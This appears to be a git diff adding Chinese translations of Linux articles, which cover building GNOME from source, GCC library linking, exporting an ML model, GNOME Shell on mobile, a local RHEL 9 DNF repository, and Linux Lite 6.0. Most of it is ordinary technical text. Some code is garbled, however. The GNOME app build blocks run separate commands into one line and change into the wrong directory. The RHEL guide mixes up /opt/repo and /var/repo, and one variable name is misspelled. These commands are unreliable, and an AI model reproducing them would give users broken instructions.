`r`。然后按回车键。这个命令将重启 GNOME Shell。 + +![Restart GNOME Shell (X11)][6] + +恭喜你! 你已经成功地编译了 GNOME Shell 和 Mutter。 + +现在,是时候编译一些 GNOME 原生应用了。 + +### 编译 GNOME 原生应用 + +这些步骤对于 GNOME 或任何应用的所有源码都是一样的。你需要改变仓库的名字。因此,这里有一些编译必要的 GNOME 原生应用的命令示例。 + +#### Files(Nautilus) + +``` +git clone https://gitlab.gnome.org/GNOME/nautilus/cd gnome-shellmeson _build --prefix=/usrsudo ninja install -C _build +``` + +#### GNOME 软件商店 + +``` +git clone https://gitlab.gnome.org/GNOME/gnome-software/cd gnome-shellmeson _build --prefix=/usrsudo ninja install -C _build +``` + +#### GNOME 控制中心 + +``` +git clone https://gitlab.gnome.org/GNOME/gnome-control-center/cd gnome-shellmeson _build --prefix=/usrsudo ninja install -C _build +``` + +### FAQ + +1. 使用上述步骤,你可以编译任何源码分支。不仅仅是 GNOME。 +2. GitLab 服务器有时很慢,克隆一个仓库可能需要较长的时间。如果 `git clone` 失败,我建议你再试一次。 + +### 结束语 + +我希望这个小小的高级教程能够帮助你在新的 GNOME 功能出现在 GNOME 每日构建系统之前尝试它。既然你编译了,你也可以为测试新的 GNOME 功能做出贡献,并在 GitLab 问题页面上报告任何特定包的 bug 或问题。 + +这篇文章是开源应用编译系列的第一篇文章。请继续关注更多开源应用的编译文章。 + +另外,请让我在下面的评论栏中知道你的评论、建议,或者你在使用这些说明时遇到的任何错误。 + +干杯。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2022/05/compile-gnome-source/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/tag/virtual-machine +[2]: https://dl.fedoraproject.org/pub/fedora/linux/development/rawhide/Workstation/x86_64/iso/ +[3]: https://www.debugpoint.com/wp-content/uploads/2022/05/Compile-Mutter-for-GNOME.jpg +[4]: https://asciidoc.org/ +[5]: https://github.com/sass/sassc +[6]: https://www.debugpoint.com/wp-content/uploads/2022/05/Restart-GNOME-Shell-X11.jpg diff --git a/published/202206/20220530 Dynamically linking libraries while compiling code.md b/published/202206/20220530 Dynamically linking libraries while compiling code.md new file mode 100644 index 0000000000..200b9a7fda --- /dev/null +++ b/published/202206/20220530 Dynamically linking libraries while compiling code.md @@ -0,0 +1,136 @@ +[#]: subject: "Dynamically linking libraries while compiling code" +[#]: via: "https://opensource.com/article/22/5/compile-code-ldlibrarypath" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14690-1.html" + +编译代码时动态地链接库 +====== + +![](https://linux.cn/article-14690-1.html) + +> 编译软件在你如何运行你的系统方面给你很大的灵活性。`LD_LIBRARY_PATH` 变量,以及 GCC 的 `-L` 和 `-l` 选项,是这种灵活性的组成部分。 + +编译软件是开发者经常做的事情,在开源世界中,一些用户甚至选择自己动手。Linux 播客 Dann Washko 称源码为“通用包格式”,因为它包含了使一个应用在任何平台上运行所需的所有组件。当然,并不是所有的源码都是为所有的系统编写的,所以它只是在目标系统的子集内是“通用”的,但问题是,源码是非常灵活的。有了开源,你可以决定代码的编译和运行方式。 + +当你在编译代码时,你通常要处理多个源文件。开发人员倾向于将不同的类或模块放在不同的文件中,这样它们可以被单独维护,甚至可能被不同的项目使用。但当你编译这些文件时,许多文件会被编译成一个可执行文件。 + +这通常是通过创建共享库来完成的,然后从可执行文件中动态链接回它们。这样可以通过保持模块化功能的外部性来保持可执行文件的小型化,并确保库可以独立于使用它们的应用而被更新。 + +### 在编译过程中定位一个共享对象 + +当你 [用 GCC 编译][2] 时,你通常需要在你的工作站上安装一个库,以便 GCC 能够定位到它。默认情况下,GCC 假定库在系统库路径中,例如 `/lib64` 和 `/usr/lib64`。然而,如果你要链接到一个你自己的尚未安装的库,或者你需要链接到一个没有安装在标准位置的库,那么你必须帮助 GCC 找到这些文件。 + +有两个选项对于在 GCC 中寻找库很重要: + +* `-L`(大写字母 L)在 GCC 的搜索位置上增加一个额外的库路径。 +* `-l`(小写字母 L)设置你要链接的库的名字。 + +例如,假设你写了一个叫做 `libexample.so` 的库,并且你想在编译你的应用 `demo.c` 时使用它。首先,从 `demo.c` 创建一个对象文件: + +``` +$ gcc -I ./include -c src/demo.c +``` + +`-I` 选项在 GCC 搜索头文件的路径中增加了一个目录。在这个例子中,我假设自定义头文件在一个名为 `include` 的本地目录中。`-c` 选项防止 GCC 运行链接器,因为这个任务只是为了创建一个对象文件。结果如下: + +``` +$ ls +demo.o include/ lib/ src/ +``` + +现在你可以使用 `-L` 选项为你的库设置一个路径,然后进行编译: + +``` +$ gcc -L`pwd`/lib -o myDemo demo.o -lexample +``` + +注意,`-L` 选项在 `-l` 选项*之前*。这很重要,因为如果在你告诉 GCC 查找非默认库之前没有将 `-L` 添加到 GCC 的搜索路径中,GCC 就不知道要在你的自定义位置上搜索。编译成功了,但当你试图运行它时,却出现了问题: + +``` +$ ./myDemo +./myDemo: error while loading shared libraries: +libexample.so: cannot open shared object file: +No such file or directory +``` + +### 用 ldd 排除故障 + +`ldd` 工具可以打印出共享对象的依赖关系,它在排除类似问题时很有用: + +``` +$ ldd ./myDemo + linux-vdso.so.1 (0x00007ffe151df000) + libexample.so => not found + libc.so.6 => /lib64/libc.so.6 (0x00007f514b60a000) + /lib64/ld-linux-x86-64.so.2 (0x00007f514b839000) +``` + +你已经知道定位不到 `libexample`,但 `ldd` 输出至少确认了它对*工作*库的期望位置。例如,`libc.so.6 `已经被定位,`ldd` 显示其完整路径。 + +### LD_LIBRARY_PATH + +`LD_LIBRARY_PATH` [环境变量][3] 定义了库的路径。如果你正在运行一个依赖于没有安装到标准目录的库的应用程,你可以使用 `LD_LIBRARY_PATH` 添加到系统的库搜索路径。 + +有几种设置环境变量的方法,但最灵活的是在运行命令前放置环境变量。看看设置 `LD_LIBRARY_PATH` 对 `ldd` 命令在分析一个“损坏”的可执行文件时的作用: + +``` +$ LD_LIBRARY_PATH=`pwd`/lib ldd ./ + linux-vdso.so.1 (0x00007ffe515bb000) + libexample.so => /tmp/Demo/lib/libexample.so (0x0000... + libc.so.6 => /lib64/libc.so.6 (0x00007eff037ee000) + /lib64/ld-linux-x86-64.so.2 (0x00007eff03a22000) +``` + +这也同样适用于你的自定义命令: + +``` +$ LD_LIBRARY_PATH=`pwd`/lib myDemo +hello world! +``` + +然而,如果你移动库文件或可执行文件,它又会失效: + +``` +$ mv lib/libexample.so ~/.local/lib64 +$ LD_LIBRARY_PATH=`pwd`/lib myDemo +./myDemo: error while loading shared libraries... +``` + +要修复它,你必须调整 `LD_LIBRARY_PATH` 以匹配库的新位置: + +``` +$ LD_LIBRARY_PATH=~/.local/lib64 myDemo +hello world! +``` + +### 何时使用 LD_LIBRARY_PATH + +在大多数情况下,`LD_LIBRARY_PATH` 不是你需要设置的变量。按照设计,库安装到 `/usr/lib64` 中,因此应用自然会在其中搜索所需的库。在两种情况下,你可能需要使用 `LD_LIBRARY_PATH`: + +* 你正在编译的软件需要链接到本身刚刚编译但尚未安装的库。良好设计的构建系统,例如 [Autotools][4] 和 [CMake][5],可以帮助处理这个问题。 +* 你正在使用设计为在单个目录之外运行的软件,它没有安装脚本,或安装脚本将库放置在非标准目录中。一些应用具有 Linux 用户可以下载、复制到 `/opt` 并在“不安装”的情况下运行的版本。`LD_PATH_LIBRARY` 变量是通过封装脚本设置的,因此用户通常甚至不知道它已被设置。 + +编译软件为你在运行系统方面提供了很大的灵活性。`LD_LIBRARY_PATH` 变量以及 `-L` 和 `-l` GCC 选项是这种灵活性的组成部分。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/5/compile-code-ldlibrarypath + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/collab-team-pair-programming-code-keyboard2.png +[2]: https://opensource.com/article/22/5/what-happens-behind-scenes-during-gcc-compilation-c-programs +[3]: https://opensource.com/article/19/8/what-are-environment-variables +[4]: https://opensource.com/article/19/7/introduction-gnu-autotools +[5]: https://opensource.com/article/21/5/cmake diff --git a/published/202206/20220530 Using a Machine Learning Model to Make Predictions.md b/published/202206/20220530 Using a Machine Learning Model to Make Predictions.md new file mode 100644 index 0000000000..7fb0ad690d --- /dev/null +++ b/published/202206/20220530 Using a Machine Learning Model to Make Predictions.md @@ -0,0 +1,91 @@ +[#]: subject: "Using a Machine Learning Model to Make Predictions" +[#]: via: "https://www.opensourceforu.com/2022/05/using-a-machine-learning-model-to-make-predictions/" +[#]: author: "Jishnu Saurav Mittapalli https://www.opensourceforu.com/author/jishnu-saurav-mittapalli/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14689-1.html" + +机器学习:使用 Python 进行预测 +====== + +> 机器学习基本上是人工智能的一个子集,它使用以前存在的数据对新数据进行预测。 + +当然,现在我们所有人都知道这个道理了!这篇文章展示了如何将 Python 中开发的机器学习模型作为 Java 代码的一部分来进行预测。 + +![Machine-learning][1] + +本文假设你熟悉基本的开发技巧并理解机器学习。我们将从训练我们的模型开始,然后在 Python 中制作一个机器学习模型。 + +我以一个洪水预测模型为例。首先,导入以下库: + +``` +import pandas as pd +import numpy as np +import matplotlib.pyplot as plt +``` + +当我们成功地导入了这些库,我们就需要输入数据集,如下面的代码所示。为了预测洪水,我使用的是河流水位数据集。 + +``` +from google.colab import files +uploaded = files.upload() +for fn in uploaded.keys(): + print('User uploaded file "{name}" with length {length} bytes'.format(name=fn, length=len(uploaded[fn]))) +``` + +如果没有选择文件的话,选择上传的文件。 + +只有在当前浏览器会话中执行了该单元格时,上传部件才可用。请重新运行此单元,上传文件 `Hoppers Crossing-Hourly-River-Level.csv`,大小 2207036 字节。 + +完成后,我们就可以使用 `sklearn` 库来训练我们的模型。为此,我们首先需要导入该库和算法模型,如图 1 所示。 + +![Figure 1: Training the model][2] + +``` +from sklearn.linear_model import LinearRegression +regressor = LinearRegression() +regressor.fit(X_train, y_train) +``` + +完成后,我们就训练好了我们的模型,现在可以进行预测了,如图 2 所示。 + +![Figure 2: Making predictions][3] + +### 在 Java 中使用 ML 模型 + +我们现在需要做的是把 ML 模型转换成一个可以被 Java 程序使用的模型。有一个叫做 `sklearn2pmml` 的库可以帮助我们做到这一点: + +``` +# Install the library +pip install sklearn2pmml +``` + +库安装完毕后,我们就可以转换我们已经训练好的模型,如下图所示: + +``` +sklearn2pmml(pipeline, ‘model.pmml’, with_repr = True) +``` + +这就完成了!我们现在可以在我们的 Java 代码中使用生成的 `model.pmml` 文件来进行预测。请试一试吧! + +(LCTT 译注:Java 中有第三方库 [jpmml/jpmml-evaluator][4],它能帮助你使用生成的 `model.pmml` 进行预测。) + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/05/using-a-machine-learning-model-to-make-predictions/ + +作者:[Jishnu Saurav Mittapalli][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/jishnu-saurav-mittapalli/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/05/Machine-learning.jpg +[2]: https://www.opensourceforu.com/wp-content/uploads/2022/05/Figure-1Training-the-model.jpg +[3]: https://www.opensourceforu.com/wp-content/uploads/2022/05/Figure-2-Making-predictions.jpg +[4]: https://github.com/jpmml/jpmml-evaluator diff --git a/published/202206/20220601 GNOME Shell for Mobile- A Promising Start with Huge Expectations [Opinion].md b/published/202206/20220601 GNOME Shell for Mobile- A Promising Start with Huge Expectations [Opinion].md new file mode 100644 index 0000000000..878c857eba --- /dev/null +++ b/published/202206/20220601 GNOME Shell for Mobile- A Promising Start with Huge Expectations [Opinion].md @@ -0,0 +1,93 @@ +[#]: subject: "GNOME Shell for Mobile: A Promising Start with Huge Expectations [Opinion]" +[#]: via: "https://www.debugpoint.com/2022/06/gnome-shell-mobile-announcement/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14672-1.html" + +移动版 GNOME Shell:希望之始,期望满满 +====== + +![GNOME Shell 在一台 Pinephone 原型机上运行][3] + +> GNOME 开发人员在最近的一篇博文中提出了将 GNOME Shell 完全移植到手机上的想法。下面是我对这个项目的一些看法。 + +### 移动版 GNOME Shell + +作为一个桌面环境,GNOME 在过去的十年中发展成为了 [GNOME 40][1]。GNOME 40 是一个重要的版本,它以一种现代的方式改变了完整的用户界面设计。 + +看着 GNOME 40 的设计方式,你可能会觉得 Shell 和它的底层技术已经为小屏幕做好了准备。手势驱动的工作区、图标网格和停靠区 —— 在某种程度上感觉更接近于像安卓这样的移动操作系统,而不是桌面环境。 + +此外,系统托盘、日历、通知和原生的应用程序,可以有效地在较小尺寸的设备上工作。得益于 GTK4 和 libadwaita,其设计是响应式的,应用程序和控件的外观与移动平台很匹配。 + +在 GNOME 40 之后,GNOME 开发者为较小尺寸的设备(如平板电脑和手机)设计了几个 GNOME Shell 的概念验证。 + +#### 为什么是现在? + +任何项目的开发和研究工作都要花费时间和金钱。虽然有来自主要科技公司对 GNOME 的捐赠,但这次有一个 “原型基金Prototype Fund” 帮助该团队继续进行这项努力。[原型基金][2] 是德国教育部(BMBF)支持公共利益软件的资助项目。 + +#### 包括什么? + +设计一个完整的移动用户界面,并将其与移动操作系统整合是一个非常复杂的项目。它需要一个精心设计的愿景来支持成千上万的移动硬件和用户支持。更不用说,用户在移动设备上的隐私和安全问题了。 + +因此,有了这个基金,团队可以集中精力进行概念验证,以满足 GNOME Shell 中一些基本的用户互动。 + +* 启动器 +* 应用程序网格 +* 轻扫、手势和导航 +* 用手机键盘搜索 +* 检测屏幕大小和支持屏幕旋转 +* 工作空间和多任务 +* 设置 +* 屏幕键盘 + +![GNOME Shell 移动版模拟图][4] + +始终要记住的是,移动体验远不止用户界面这么简单。另外,GNOME 本身并不是一个操作系统。它由底层的稳定的操作系统组成,它提供了非常需要的隐私和安全。另外,“应用商店”的概念也是如此。手机制造商需要与 GNOME 开发者合作,让他们的产品采用这个概念。 + +#### 进展如何? + +在写这篇文章时,团队给我们快速演示了取得的进展。在下面的视频中可以看到: + +![][5] + +复杂的任务是识别触摸屏手机中的各种手势。例如,你可能会使用长触摸、短触摸、双指轻扫和拖动,以及许多只有在小尺寸设备中才可行的可能性。这需要在各自的 GNOME Shell 组件中推倒重构。 + +而完全在现有的 GNOME Shell 基础上开发它们是很有挑战性的工作。 + +此外,该团队使用著名的 Pinephone Pro 进行开发和测试。Pinephone 已经是一个商业产品,装有 “友商” KDE Plasma 手机和其他 Linux 操作系统。 + +![][6] + +### 结语 + +如果一切按计划进行,我们可能在一个完整的开源手机中获得原生的 GNOME 体验。而你可以重新拥有你的隐私! + +另外,我不确定 Phosh(它也是基于 GNOME 的)会发生什么。虽然 Phosh 是由 Purism 开发和管理的,但看看 GNOME Shell 在移动设备上的努力和 PHosh 在未来一段日子的发展方向将是很有趣的。 + +那么,你对这个项目的前景怎么看?请在下面的评论栏里告诉我。 + +*图片和视频来源:GNOME 开发者 [博客][7]* + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2022/06/gnome-shell-mobile-announcement/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/tag/gnome-40 +[2]: http://www.prototypefund.de +[3]: https://www.debugpoint.com/wp-content/uploads/2022/06/GNOME-Shell-Running-on-a-prototype-Pinephone.jpg +[4]: https://www.debugpoint.com/wp-content/uploads/2022/06/GNOME-Shell-Mobile-mock-up.jpg +[5]: https://www.debugpoint.com/wp-content/uploads/2022/06/phone.webm +[6]: https://www.debugpoint.com/wp-content/uploads/2022/06/tablet.webm +[7]: https://blogs.gnome.org/shell-dev/2022/05/30/towards-gnome-shell-on-mobile/ diff --git a/published/202206/20220601 How to Create Local Yum-DNF Repository on RHEL 9.md b/published/202206/20220601 How to Create Local Yum-DNF Repository on RHEL 9.md new file mode 100644 index 0000000000..328acf878a --- /dev/null +++ b/published/202206/20220601 How to Create Local Yum-DNF Repository on RHEL 9.md @@ -0,0 +1,139 @@ +[#]: subject: "How to Create Local Yum/DNF Repository on RHEL 9" +[#]: via: "https://www.linuxtechi.com/create-local-yum-dnf-repository-rhel/" +[#]: author: "Pradeep Kumar https://www.linuxtechi.com/author/pradeep/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14697-1.html" + +如何在 RHEL 9 上创建本地 Yum/DNF 仓库 +====== + +![](https://img.linux.net.cn/data/attachment/album/202206/11/164149y9zzm7kkxwsxgszw.jpg) + +你好,技术兄弟,最近红帽发布了最新的操作系统 RHEL 9,RHEL 9 满足了混合云的所有要求。它可以安装在物理服务器、虚拟机和容器镜像中。 + +当我们没有订阅的时候,想安装软件包来做实验,那么设置本地的 Yum 或 DNF 仓库将是很方便的。 + +在本指南中,我们将介绍如何在 RHEL 9 上使用 DVD 或 ISO 文件一步一步地创建本地 Yum/DNF 资源库。 + +创建本地 Yum/DNF 资源库的先决条件: + +* 最小化安装 RHEL 9 系统 +* 具有管理权限的 sudo 用户 +* RHEL 9 DVD 或 ISO 文件 + +### 1)挂载 RHEL 9 ISO 文件或 DVD + +我们假设 RHEL 9 iso 文件已经被复制到系统中。运行下面的挂载命令,将 ISO 文件挂载到 `/opt/repo` 文件夹。 + +``` +$ sudo mkdir /var/repo +$ sudo mount -o loop rhel-baseos-9.0-x86_64-dvd.iso /var/repo/ +``` + +![Mount-RHEL9-ISO-File-Command][1] + +如果是 DVD 光盘,运行: + +``` +$ sudo mount /dev/sr0 /var/repo/ +``` + +### 2)在 /etc/yum.repos.d/ 目录中创建仓库文件 + +在 `/etc/yum.repos.d/` 目录下创建一个名为 “rhel9-local.repo` 的仓库文件,内容如下: + +``` +$ sudo vi /etc/yum.repos.d/rhel9-local.repo +[Local-BaseOS] +name=Red Hat Enterprise Linux 9 - BaseOS +metadata_expire=-1 +gpgcheck=1 +enabled=1 +baseurl=file:///var/repo//BaseOS/ +gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-redhat-release + +[Local-AppStream] +name=Red Hat Enterprise Linux 9 - AppStream +metadata_expire=-1 +gpgcheck=1 +enabled=1 +baseurl=file:///var/repo//AppStream/ +gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-redhat-release +``` + +保存并关闭该文件。 + +![RHEL8-Local-Repo-File][2] + +### 3)刷新 Yum/DNF 和订阅管理器的缓存 + +执行以下命令来清理 Yum 或 DNF 和订阅管理器的缓存。 + +``` +$ sudo dnf clean all +$ sudo subscription-manager clean +``` + +![DNF-Subscription-Manager-Clean][3] + +在上面的输出中,我们得到一个警告信息 `This system is not registered with an entitlement`(系统没有注册权限)。所以,为了抑制这个警告信息,编辑文件 `/etc/yum/pluginconf.d/subscription-manager.conf`,将参数 `enabled=1` 改为 `enabled=0`。 + +``` +$ sudo vi /etc/yum/pluginconf.d/subscription-manager.conf +``` + +![Disable-Subscription-Parameter-RHEL-9][4] + +保存并退出该文件。 + +### 4)使用本地仓库安装软件包 + +现在我们都准备好测试我们的本地仓库了。运行下面的命令来查看配置仓库。 + +``` +$ sudo dnf repolist +``` + +输出: + +![DNF-Repolist-RHEL-9][5] + +现在,试试用 `dnf` 命令通过上面配置的本地仓库安装软件包。 + +``` +$ sudo dnf install nfs-utils +``` + +输出: + +![Install-RPM-Package-via-local-repo-rhel9][6] + +![Package-Installation-Completion-RHEL9-DNF-Command][7] + +完美,上述输出证实了 `nfs-utils` 包及其依赖项已经通过本地配置的 Yum 或 DNF 仓库成功安装。 + +这就是本指南的全部内容。我希望你觉得它有参考价值。请在下面的评论区发表你的疑问和反馈。 + +-------------------------------------------------------------------------------- + +via: https://www.linuxtechi.com/create-local-yum-dnf-repository-rhel/ + +作者:[Pradeep Kumar][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.linuxtechi.com/author/pradeep/ +[b]: https://github.com/lkxed +[1]: https://www.linuxtechi.com/wp-content/uploads/2022/06/Mount-RHEL9-ISO-File-Command.png +[2]: https://www.linuxtechi.com/wp-content/uploads/2022/06/RHEL8-Local-Repo-File.png +[3]: https://www.linuxtechi.com/wp-content/uploads/2022/06/DNF-Subscription-Manager-Clean.png +[4]: https://www.linuxtechi.com/wp-content/uploads/2022/06/Disable-Subscription-Parameter-RHEL-9.png +[5]: https://www.linuxtechi.com/wp-content/uploads/2022/06/DNF-Repolist-RHEL-9.png +[6]: https://www.linuxtechi.com/wp-content/uploads/2022/06/Install-RPM-Package-via-local-repo-rhel9.png +[7]: https://www.linuxtechi.com/wp-content/uploads/2022/06/Package-Installation-Completion-RHEL9-DNF-Command.png diff --git a/published/202206/20220601 Linux Lite 6.0 Ditches Firefox to Favor Google Chrome as the Default Browser.md b/published/202206/20220601 Linux Lite 6.0 Ditches Firefox to Favor Google Chrome as the Default Browser.md new file mode 100644 index 0000000000..85c9e25716 --- /dev/null +++ b/published/202206/20220601 Linux Lite 6.0 Ditches Firefox to Favor Google Chrome as the Default Browser.md @@ -0,0 +1,134 @@ +[#]: subject: "Linux Lite 6.0 Ditches Firefox to Favor Google Chrome as the Default Browser" +[#]: via: "https://news.itsfoss.com/linux-lite-6-0-release/" +[#]: author: "Jacob Crume https://news.itsfoss.com/author/jacob/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14669-1.html" + +Linux Lite 6.0 发布:弃用 Firefox,默认浏览器使用 Chrome +====== + +> Linux Lite 6.0 是一个有趣的版本,有一个新的默认浏览器,改进了无障碍性、新的主题、新的系统监视器等等改进。 + +![linux lite][1] + +Linux Lite,是 [最好的类 Windows 发行版][2] 之一,刚刚发布了它的最新版本 6.0。 + +Linux Lite 6.0 基于 [Ubuntu 22.04 LTS][3],内置了 [Linux 内核 5.15 LTS][4]。 + +这次升级包含了相当多的令人兴奋的新功能,包括一个新的窗口主题和无障碍技术。 + +让我们深入了解一下新的内容! + +### Linux Lite 6.0 概述 + +Linux Lite 6.0 包括许多变化,包括: + +* 更新了软件 +* 新的窗口主题 +* 新的屏幕键盘 +* 屏幕阅读器 +* 屏幕放大镜 +* Chrome 取代 Firefox 成为默认浏览器 +* 新的 GRUB 菜单 + +#### 无障碍性的改进 + +![Linux Lite 6.0][5] + +Linux Lite 通过这一改变已经步入了大联盟。无障碍性,在历史上一直是 GNOME 特有的优势,它现在有了很大的改进。这主要体现在三个不同的工具上:一个屏幕键盘,一个屏幕阅读器(Orca),和一个屏幕放大镜。 + +屏幕键盘对于许多触摸屏用户和没有键盘的用户来说是相当有用的。另一方面,屏幕阅读器对于视障用户来说将是完美的。 + +![Linux Lite 6.0][6] + +最后一项无障碍改进屏幕放大镜,也是针对与屏幕阅读器相同的受众。然而,它与传统的桌面理念相当吻合,所以众多用户可能更青睐它,而不是屏幕阅读器。 + +这些无障碍性的改进有助于 Linux Lite 6.0 成为一个主流的选择。 + +#### 更新的软件 + +与几乎所有的发行版升级一样,Linux Lite 6.0 包括更新的软件。最值得注意的是最新的 LibreOffice 稳定版 7.2.6。 + +其他更新包括 VLC 3.0.16、Thunderbird 91.7、Chrome 100、GIMP 2.10.30 等等。 + +虽然本身不一定是大规模的升级,但它表明了所包含的 LibreOffice 版本的重大变化。 + +以前,由于提供了更多的稳定性,Linux Lite 停留在更多老版本上。然而,Linux Lite 的开发者现在觉得使用最新的稳定版本也很放心,因为测试新 LibreOffice 版本的人比以往任何时候都多。 + +#### 新的窗口主题 + +![Linux Lite 6.0][7] + +Linux Lite 6.0 引入了一个新的窗口主题,叫做 “Materia”。那些主题社区的人可能会对它相当熟悉,因为它已经被移植到几乎所有的平台。这些平台包括 GTK 2、3 和 4、GNOME Shell、Budgie、Cinnamon、MATE、Unity、Xfce、LightDM、GDM,甚至是 Chrome 浏览器。 + +改用 Materia 应该会让 ChromeOS 用户感觉界面很熟悉,因为它是基于谷歌开发的 Material UI 的。 + +#### 谷歌 Chrome 浏览器成为新的默认浏览器 + +![Linux Lite 6.0][8] + +随着 Ubuntu 将其 Firefox 版本转移到一个 Snap 应用中,Linux Lite 已经完全抛弃了 Firefox,转而使用谷歌 Chrome。虽然我不能说我是这个变化的粉丝,但它确实有意义,特别是对于一个针对 Windows 用户的发行版来说。 + +虽然你可以自由地安装任何你喜欢的东西,但无论如何,Chrome 是大多数用户的流行选择。 + +此外,如果你想在访问文件之前扫描文件,Linux Lite 的开发者在 Chrome 中包含了一个 Virus Total 扫描器扩展(默认是禁用的)。 + +注意,你可以从 Linux Lite 的软件中心安装 Firefox,但它是 Snap 版本的。 + +#### 系统监控中心替代了任务管理器 + +![Linux Lite 6.0][9] + +Linux Lite 6.0 现在打包了 [系统监控中心][10]System Monitoring Center 来替代任务管理器和进程查看器。 + +请注意,Linux Lite 的开发者复刻了这个应用程序,在系统标签中提供了关于发行版的具体信息。 + +它提供了所有关注你的资源的必要功能。 + +### 其他改进 + +除了基本的变化之外,Linux Lite 6.0 还包括对 GRUB 菜单的更新、推送紧急修复包的能力、新的 whisker 菜单,以及更多的调整。 + +![Linux Lite 6.0][11] + +正如你所注意到的,新的 GRUB 菜单还包括关闭和重启,同时删除了内存测试选项。 + +你可以在其 [官方公告帖子][12] 中了解更多的技术细节。 + +### 总结 + +Linux Lite 6.0 看起来是一个可靠的版本,特别是对于那些等待无障碍功能和新的视觉感受的人。 + +如果你想自己尝试一下,ISO 文件可以从官方下载页面获得。 + +> **[下载Linux Lite][13]** + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/linux-lite-6-0-release/ + +作者:[Jacob Crume][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/jacob/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/06/linux-lite-6.jpg +[2]: https://itsfoss.com/windows-like-linux-distributions/ +[3]: https://news.itsfoss.com/ubuntu-22-04-release/ +[4]: https://news.itsfoss.com/linux-kernel-5-15-release/ +[5]: https://news.itsfoss.com/wp-content/uploads/2022/05/Screen-Reader-Linux-Lite-6.0.png +[6]: https://news.itsfoss.com/wp-content/uploads/2022/06/linux-lite-accessibility.png +[7]: https://news.itsfoss.com/wp-content/uploads/2022/05/Materia-Linux-Lite-6.0.png +[8]: https://news.itsfoss.com/wp-content/uploads/2022/05/Chrome-Linux-Lite-6.0.png +[9]: https://news.itsfoss.com/wp-content/uploads/2022/05/system-monitoring-center-linux-lite.png +[10]: https://itsfoss.com/system-monitoring-center/ +[11]: https://news.itsfoss.com/wp-content/uploads/2022/06/grub-linux-lite-6.png +[12]: https://www.linuxliteos.com/forums/release-announcements/linux-lite-6-0-final-released/ +[13]: https://www.linuxliteos.com/download.php#current diff --git a/published/202206/20220601 de-Googled -e-OS v1 Released Along with a New Brand -Murena- for Smartphone and Cloud Services.md b/published/202206/20220601 de-Googled -e-OS v1 Released Along with a New Brand -Murena- for Smartphone and Cloud Services.md new file mode 100644 index 0000000000..e1412ef77a --- /dev/null +++ b/published/202206/20220601 de-Googled -e-OS v1 Released Along with a New Brand -Murena- for Smartphone and Cloud Services.md @@ -0,0 +1,89 @@ +[#]: subject: "de-Googled /e/OS v1 Released Along with a New Brand ‘Murena’ for Smartphone and Cloud Services" +[#]: via: "https://news.itsfoss.com/murena-e-os/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14666-1.html" + +去谷歌化操作系统 /e/OS v1 及新品牌 Murena 一同发布 +====== + +> Murena 是一个与 e 基金会有关的新品牌,该品牌专注于提供隐私友好的 /e/OS 及新的智能手机和云服务。 + +![murena][1] + +/e/OS 是一个流行的、注重隐私的移动操作系统,是谷歌安卓的替代品之一。 + +这个复刻自 Lineage OS 的操作系统消除了任何与谷歌有关的依赖性,并鼓励你在使用中不要直接依赖任何谷歌的服务。 + +取而代之的是,它提供一些解决方案作为替代品,为你提供一个隐私友好的生态系统。 + 